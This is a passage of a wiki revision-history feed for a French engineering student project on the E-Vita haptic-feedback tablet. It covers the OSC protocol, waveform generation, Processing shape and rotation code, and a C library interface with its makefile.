    &lt;br /&gt;
    void setEnsemble(String ensemble){&lt;br /&gt;
      this.ensemble = ensemble;&lt;br /&gt;
      // rajoute une entree dans la HashMap&lt;br /&gt;
    }&lt;br /&gt;
 }  &lt;br /&gt;
&lt;br /&gt;
===La classe Tcircle===&lt;br /&gt;
&lt;br /&gt;
 class Tcircle extends Tforme{&lt;br /&gt;
  int x,y;&lt;br /&gt;
  int radius;&lt;br /&gt;
   Tcircle(int xpos, int ypos, int rayon){&lt;br /&gt;
     x = xpos;&lt;br /&gt;
     y = ypos;&lt;br /&gt;
     radius = rayon;&lt;br /&gt;
   }&lt;br /&gt;
   void dessiner(){&lt;br /&gt;
     ellipseMode(CENTER);&lt;br /&gt;
     ellipse((float)x, (float)y, (float)radius, (float)radius);&lt;br /&gt;
   }&lt;br /&gt;
   boolean isIn(int xpos, int ypos){&lt;br /&gt;
     float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));&lt;br /&gt;
     if (dist &amp;lt;= radius){&lt;br /&gt;
     return true;&lt;br /&gt;
     }else{&lt;br /&gt;
       return false;&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   void setEnsemble(String ensemble){&lt;br /&gt;
     this.ensemble = ensemble;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Fonction de Rotation===&lt;br /&gt;
&lt;br /&gt;
Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.&lt;br /&gt;
L'outil processing permet de réalise une rotation via la commande&lt;br /&gt;
&lt;br /&gt;
 rotate()&lt;br /&gt;
&lt;br /&gt;
Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.&lt;br /&gt;
&lt;br /&gt;
Photo 1&lt;br /&gt;
&lt;br /&gt;
Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.&lt;br /&gt;
&lt;br /&gt;
Photo 2&lt;br /&gt;
&lt;br /&gt;
Il me semble donc obligatoire d'utiliser un peu de trigonométrie :&lt;br /&gt;
&lt;br /&gt;
Photo table de vérité + Représentation schématique&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à Outils Bas Niveau==&lt;br /&gt;
&lt;br /&gt;
Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.&lt;br /&gt;
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.&lt;br /&gt;
&lt;br /&gt;
On manipule donc nos structure en C en rendant publique les méthodes :&lt;br /&gt;
&lt;br /&gt;
 int startEvita();    // Initialisation &lt;br /&gt;
 void stopEvita();     &lt;br /&gt;
 &lt;br /&gt;
 void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2);               //Définition forme géométrique où sera présente la texture : Taxtel&lt;br /&gt;
 void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r);     //Idem mais de manière elliptique&lt;br /&gt;
 void disableTaxtTel(int id, int textureId);                                              //Désactive le retour tactile pour la forme sélectionné&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc);     //Fonction définissant les texture possible : Signal Carré / Sinusoïde&lt;br /&gt;
 void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);&lt;br /&gt;
 &lt;br /&gt;
 void registerCallbackPressed(void (*myfonction) (int x, int y));                  //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...&lt;br /&gt;
 void registerCallbackDragged(void (*myfonction) (int x, int y));&lt;br /&gt;
 void registerCallbackRelease(void (*myfonction)());&lt;br /&gt;
 void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));&lt;br /&gt;
 void registerCallbackTexture(void (*myfonction) (int signal, int period));&lt;br /&gt;
&lt;br /&gt;
Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ci-dessous le makefile générant au choix une librairie statique/dynamique :&lt;br /&gt;
&lt;br /&gt;
 CC=gcc&lt;br /&gt;
 AR=ar&lt;br /&gt;
 EXEC=main&lt;br /&gt;
 SOURCE=libTextureControl.c&lt;br /&gt;
 OBJ=libTextureControl.o&lt;br /&gt;
 STATIC=libTextureControl.a&lt;br /&gt;
 DYNAMIC=libTextureControl.so&lt;br /&gt;
 &lt;br /&gt;
 static:$(STATIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(STATIC):$(OBJ)&lt;br /&gt;
 	$(AR) rcs $(STATIC) $(OBJ)&lt;br /&gt;
 &lt;br /&gt;
 $(OBJ):$(SOURCE)&lt;br /&gt;
 	$(CC) -c $(SOURCE)&lt;br /&gt;
 &lt;br /&gt;
 clean:&lt;br /&gt;
 	rm -rf *.o *.a *.so *.out&lt;br /&gt;
 &lt;br /&gt;
 dynamic:$(DYNAMIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(DYNAMIC):$(OBJ)&lt;br /&gt;
 	gcc -shared -o $(DYNAMIC) $(OBJ)&lt;br /&gt;
 &lt;br /&gt;
 $(OBJ):$(SOURCE)&lt;br /&gt;
 	gcc -c -fPIC $(SOURCE)&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=38615</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=38615"/>
				<updated>2017-02-06T16:02:46Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Boite à Outils Bas Niveau */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils Haut Niveau==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;br /&gt;
&lt;br /&gt;
===La classe abstraite Tforme ===&lt;br /&gt;
&lt;br /&gt;
 abstract class Tforme{&lt;br /&gt;
   String ensemble;&lt;br /&gt;
   int motif;&lt;br /&gt;
   void addMotif(int iMotif){&lt;br /&gt;
      motif = iMotif;&lt;br /&gt;
    }&lt;br /&gt;
   &lt;br /&gt;
   void sendControl(){&lt;br /&gt;
     println(motif);&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   abstract boolean isIn(int xpos, int ypos);&lt;br /&gt;
   abstract void dessiner();&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
===La classe Trectangle===&lt;br /&gt;
&lt;br /&gt;
 class Trectangle extends Tforme{&lt;br /&gt;
  int x1, y1, x2, y2;&lt;br /&gt;
  &lt;br /&gt;
  Trectangle(int xpos, int ypos, int hauteur, int largeur){&lt;br /&gt;
    x1 = xpos;&lt;br /&gt;
    x2 = xpos + hauteur;&lt;br /&gt;
    y1 = ypos;&lt;br /&gt;
    y2 = ypos + largeur;&lt;br /&gt;
  }&lt;br /&gt;
    void dessiner(){&lt;br /&gt;
      rect(x1,y1,x2,y2);&lt;br /&gt;
    }  &lt;br /&gt;
    &lt;br /&gt;
    boolean isIn(int xpos, int ypos){&lt;br /&gt;
      if (xpos &amp;gt; x1 &amp;amp;&amp;amp; xpos &amp;lt; x2 &amp;amp;&amp;amp; ypos &amp;gt; y1 &amp;amp;&amp;amp; ypos &amp;lt; y2){&lt;br /&gt;
        return true;&lt;br /&gt;
      }else{&lt;br /&gt;
          return false;&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    void setEnsemble(String ensemble){&lt;br /&gt;
      this.ensemble = ensemble;&lt;br /&gt;
      // rajoute une entree dans la HashMap&lt;br /&gt;
    }&lt;br /&gt;
 }  &lt;br /&gt;
&lt;br /&gt;
===La classe Tcircle===&lt;br /&gt;
&lt;br /&gt;
 class Tcircle extends Tforme{&lt;br /&gt;
  int x,y;&lt;br /&gt;
  int radius;&lt;br /&gt;
   Tcircle(int xpos, int ypos, int rayon){&lt;br /&gt;
     x = xpos;&lt;br /&gt;
     y = ypos;&lt;br /&gt;
     radius = rayon;&lt;br /&gt;
   }&lt;br /&gt;
   void dessiner(){&lt;br /&gt;
     ellipseMode(CENTER);&lt;br /&gt;
     ellipse((float)x, (float)y, (float)radius, (float)radius);&lt;br /&gt;
   }&lt;br /&gt;
   boolean isIn(int xpos, int ypos){&lt;br /&gt;
     float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));&lt;br /&gt;
     if (dist &amp;lt;= radius){&lt;br /&gt;
     return true;&lt;br /&gt;
     }else{&lt;br /&gt;
       return false;&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   void setEnsemble(String ensemble){&lt;br /&gt;
     this.ensemble = ensemble;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Fonction de Rotation===&lt;br /&gt;
&lt;br /&gt;
Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.&lt;br /&gt;
L'outil processing permet de réalise une rotation via la commande&lt;br /&gt;
&lt;br /&gt;
 rotate()&lt;br /&gt;
&lt;br /&gt;
Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.&lt;br /&gt;
&lt;br /&gt;
Photo 1&lt;br /&gt;
&lt;br /&gt;
Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.&lt;br /&gt;
&lt;br /&gt;
Photo 2&lt;br /&gt;
&lt;br /&gt;
Il me semble donc obligatoire d'utiliser un peu de trigonométrie :&lt;br /&gt;
&lt;br /&gt;
Photo table de vérité + Représentation schématique&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à Outils Bas Niveau==&lt;br /&gt;
&lt;br /&gt;
Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.&lt;br /&gt;
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.&lt;br /&gt;
&lt;br /&gt;
On manipule donc nos structure en C en rendant publique les méthodes :&lt;br /&gt;
&lt;br /&gt;
 int startEvita();    // Initialisation &lt;br /&gt;
 void stopEvita();     &lt;br /&gt;
 &lt;br /&gt;
 void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2);               //Définition forme géométrique où sera présente la texture : Taxtel&lt;br /&gt;
 void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r);     //Idem mais de manière elliptique&lt;br /&gt;
 void disableTaxtTel(int id, int textureId);                                              //Désactive le retour tactile pour la forme sélectionné&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc);     //Fonction définissant les texture possible : Signal Carré / Sinusoïde&lt;br /&gt;
 void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);&lt;br /&gt;
 &lt;br /&gt;
 void registerCallbackPressed(void (*myfonction) (int x, int y));                  //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...&lt;br /&gt;
 void registerCallbackDragged(void (*myfonction) (int x, int y));&lt;br /&gt;
 void registerCallbackRelease(void (*myfonction)());&lt;br /&gt;
 void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));&lt;br /&gt;
 void registerCallbackTexture(void (*myfonction) (int signal, int period));&lt;br /&gt;
&lt;br /&gt;
Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=38614</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=38614"/>
				<updated>2017-02-06T15:58:53Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Boite à Outils Bas Niveau */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
